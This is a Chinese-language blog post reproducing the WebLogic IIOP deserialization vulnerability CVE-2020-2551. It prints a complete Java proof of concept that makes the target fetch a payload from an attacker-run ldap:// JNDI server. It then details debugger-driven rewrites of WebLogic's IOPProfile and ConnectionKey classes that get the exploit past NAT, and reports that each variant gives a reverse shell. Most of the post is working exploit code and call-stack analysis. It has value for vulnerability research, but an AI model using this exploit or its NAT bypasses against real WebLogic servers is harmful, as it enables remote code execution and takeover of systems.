前言
在复现Weblogic
中的CVE过程中,针对IIOP协议的利用,有一个经典的CVE是CVE-2020-2551,在进行这个POC的构造过程中,发现我使用vmware虚拟机下使用docker搭建的weblogic服务
直接使用下面的POC
public class CVE_2020_2551 {
public static <T> T createMemoitizedProxy(final Map<String,Object> map, final Class<T> iface,
final Class<?> ... ifaces) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}
public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);
}
public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?> ... ifaces) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[0] = iface;
if (ifaces.length > 0) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
return iface.cast(Proxy.newProxyInstance(CVE_2020_2551.class.getClassLoader(), allIfaces , ih));
}
public static Map<String,Object> createMap(final String key, final Object val) {
final Map<String,Object> map = new HashMap<String, Object>();
map.put(key,val);
return map;
}
public static void main(String[] args) throws Exception {
String ip = "192.168.153.136";
String port = "7001";
Hashtable<String, String> env = new Hashtable<String, String>();
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port));
Context context = new InitialContext(env);
// get Object to Deserialize
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName("ldap://192.168.153.1:1389/5l7wz0");
Remote remote = createMemoitizedProxy(createMap("pwned", jtaTransactionManager), Remote.class);
context.bind("hello", remote);
}
}
将会出现错误,报错了?
连接被拒绝
之后跟了一下逻辑
原因
我们根据报错的调用栈,可以定位在weblogic.iiop.EndPointImpl#send
方法中
发送的是LocateRequest
该方法的调用是在sendReceive
方法中
在发送了request请求之后,使用getReply
方法处理response回复
调用栈为
send:1129, EndPointImpl (weblogic.iiop)
sendReceive:1168, EndPointImpl (weblogic.iiop)
sendReceive:1186, EndPointImpl (weblogic.iiop)
locateNameService:204, IORManager (weblogic.iiop)
createInitialReference:123, IORManager (weblogic.iiop)
string_to_object:341, ORB (weblogic.corba.orb)
resolve_initial_references:235, ORB (weblogic.corba.orb)
getORBReferenceWithRetry:588, ORBHelper (weblogic.corba.j2ee.naming)
getORBReference:559, ORBHelper (weblogic.corba.j2ee.naming)
getInitialContext:85, InitialContextFactoryImpl (weblogic.corba.j2ee.naming)
getInitialContext:33, iiopEnvironmentFactory (weblogic.factories.iiop)
getInitialContext:71, iiopEnvironmentFactory (weblogic.factories.iiop)
getContext:315, Environment (weblogic.jndi)
getContext:285, Environment (weblogic.jndi)
getInitialContext:117, WLInitialContextFactory (weblogic.jndi)
getInitialContext:684, NamingManager (javax.naming.spi)
getDefaultInitCtx:313, InitialContext (javax.naming)
init:244, InitialContext (javax.naming)
<init>:216, InitialContext (javax.naming)
main:43, CVE_2020_2551 (pers.weblogic)
在IORManager#locateNameService
方法中
在创建了一个LocateRequestMessage
对象之后传入了sendReceive
方法中进行发送LocateRequest
对象,而在sendReceive
中,返回的是var1.getReply
返回得到的是一个LocateReplyMessage
对象,在locateNameService
方法中调用needsForwarding
返回了一个IOR
对象
在其中的iopProfile
属性中,得到的host / port
分别为0.0.0.0 / 7001
,这里0.0.0.0代表的是自己本机的地址,本机是没有开启weblogic服务的,这里就是导致使用虚拟机docker是不能直接利用的原因
之后就是调用resolveObject
方法进行后续处理
改造
其中在上面提到的getReply
方法的调用过程中,返回的是SequencedRequestMessage
类的reply
属性值
如果我们能够控制这里返回的reply
属性的值,修改其中的host为带有weblogic服务的地址,就能够利用成功
在全局搜索reply
之后,只有在notify
方法中才有对应的赋值
我们在该方法位置打下断点之后调用栈为:
notify:25, SequencedRequestMessage (weblogic.iiop)
handleLocateReply:1056, EndPointImpl (weblogic.iiop)
processMessage:535, EndPointImpl (weblogic.iiop)
handleMessage:500, EndPointImpl (weblogic.iiop)
dispatch:324, EndPointImpl (weblogic.iiop)
dispatch:126, ConnectionManager (weblogic.iiop)
dispatch:298, MuxableSocketIIOP (weblogic.iiop)
dispatch:298, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:913, SocketMuxer (weblogic.socket)
readReadySocket:842, SocketMuxer (weblogic.socket)
processSockets:335, JavaSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:21, ExecuteRequestAdapter (weblogic.work)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)
在这里为reply
属性赋值的LocateReplyMessage
对象的ior
属性对象中的ioProfile
属性中的host是0.0.0.0
根据前面的分析,我们知道我们需要将这个host指向带有weblogic服务的ip地址
所以我们向前追溯LocateReplyMessage
类对象的实现
通过在调用栈中寻找,其出处是在weblogic.iiop.EndPointImpl#dispatch
方法中得到的
通过调用createMsgFromStream
方法得到LocateReplyMessage
对象之后调用handleMessage
方法处理该消息
跟进createMsgFromStream
方法
根据消息的消息头进入不同的case子句,这里为case 4
创建了一个LocateReplyMessage
对象,传入的参数分别是消息头和输入流对象
调用了read
方法对数据进行解析
使用了IOR继续进行解析
最后调用的是Profile#read
方法对数据进行处理
创建了一个ConnectionKey
对象,其构造方法调用对应的read
方法进行数据处理,在调用ConnectionKey#read
方法对数据进行处理
获取到了对应的ip和对应的port
之后再在Profile#read
方法中,调用var4.getAddress / var4.getPort
方法获取ip / port
改造1
这里的var4
变量没有什么特别的用处,只是获取了Address / Port
数据,我们如果能够手动修改this.host
为搭建有weblogic服务的address,就能够成功进行利用
所以我们需要重写IOPProfile
类中的read
方法
直接在项目文件下面创建一个weblogic.iiop
的包,下面带有IOPProfile
类
其中的read
方法
改造之后获取到的IOPProfile
对象为
现在指向了正确的ip和port
本地搭建一个JNDI注入工具服务,监听本机的8000端口
运行前面提到的POC
成功反弹shell,使用这种方式是能够绕过NAT的
改造2
类似的上面的处理是在IOPProfile#read
方法中
最初使用的是ConnectionKey
对象的getAddress
方法获取的ip地址,所以追其来源,是在ConnectionKey#read
方法中获取数据中得到的,我们可以直接在这个位置进行处理
修改后的read
方法为
值得注意的是这里是不能够直接进行赋值的,需要首先获取到0.0.0.0的ip地址之后进行覆盖操作
这种方法同样能够成功反弹shell
续
前面使用直接覆盖host属性的方式,强制更改ip地址来达到我们的目的,但是有个弊端就是每次需要手动修改一下对应的ip,在学习其他的绕过方式的过程中,发现了有一个师傅和我之前思考的方向一致,贴个链接
不得不说师傅们太强了
绕过
覆盖ConnectionKey对象
这种绕过方式主要是在参考一中的评论中,fnmsd
师傅提出的一种覆盖ConnectionKey的方式达到自动修改host地址的目的
学习一下
使用wireshark抓包,观察一下请求流程
其中第六步就是接收LocateReply
对象的步骤
在数据包中包含了需要请求的服务
这时候的输入流就是第6步中的传送的数据
所以我们能够从该数据中获取到远程的ip地址进行替换这里的0.0.0.0
所以重写IOPProfile#read
方法为:
直接覆盖了ConnectionKey
对象
修改后的ip地址成功替换
也能够反弹shell
覆盖IOPProfile对象
产生在NAT网络下不能使用POC的最直接原因就是因为产生了0.0.0.0
导致不能连接成功
代码中体现在了EndPointManager#createEndPoint
方法中进行了一次Socket通信
可以看看此时的调用栈为
createEndPoint:464, EndPointManager (weblogic.iiop)
findOrCreateEndPoint:239, EndPointManager (weblogic.iiop)
findOrCreateEndPoint:256, EndPointManager (weblogic.iiop)
locateIORForRequest:383, IIOPRemoteRef (weblogic.iiop)
getInvocationIOR:535, RemoteDelegateImpl (weblogic.corba.idl)
request:256, RemoteDelegateImpl (weblogic.corba.idl)
_request:449, ObjectImpl (org.omg.CORBA.portable)
bind_any:18, _NamingContextAnyStub (weblogic.corba.cos.naming)
bind:189, ContextImpl (weblogic.corba.j2ee.naming)
bind:151, ContextImpl (weblogic.corba.j2ee.naming)
bind:425, InitialContext (javax.naming)
main:48, CVE_2020_2551 (pers.weblogic)
大概分析一下流程
前面都是bind方法的调用过程,可以跟踪到RemoteDelegateImpl#request
方法中
这里调用getInvocationIOR
方法获取对应的IOR对象,跟进一下
最开始的currentIOR
属性为null,进入了else语句,调用IIOPRemoteRef.locateIORForRequest
方法通过从请求中加载IOR对象为currentIOR
属性赋值
这里通过调用EndPointManager.findOrCreateEndPoint
方法,从传入的IOR对象中寻找或者创建一个EndPoint
对象
可以跟进到findOrCreateEndPoint
方法的调用
首次调用这里不存在友EndPoint对象,所以进入else
语句中使用createEndPoint
方法创建一个EndPoint
该方法中首先获取了取得的IOR
对象的IOPProfile
对象类
之后获取该对象中的Host / Port
中的数据,传入了MuxableSocketIIOP.createConnection
方法中,创建一个连接
如果我们能够修改IOR对象中的iopProfile
属性中的host / port数据,指向正确的地址,就能够进行利用
在r4v3zn
师傅的思路中
在
ContextImpl#bind
方法的调用中,记录下远程ip地址和端口
之后在
locateIORForRequest
方法的调用中,修改传入的IOR对象中的host数据
但是在我进行跟进分析中
在创建连接中,仅仅是使用了IOR
对象中的IOPProfile
对象中的Host和Port进行连接
其中getHostAddress
方法
返回的是IOPProfile
对象的canonicalHost
属性,而不是host属性?
这里canonicalHost
属性是一个InetAddress
对象,但是我们并不需要创建一个该对象之后进行反射修改,因为调试发现,首次调用getHostAddress
方法过程中,会进入if语句中,通过host属性进行创建InetAddress
类
所以我们不需要进行师傅展示中创建对象的操作,我们直接使用反射赋值,将所有的0.0.0.0替换为正确的ip地址,也就能够达到我们的目的了
能够成功反弹shell
参考
https://www.r4v3zn.com/posts/144eb4b6/
https://www.r4v3zn.com/posts/b64d9185/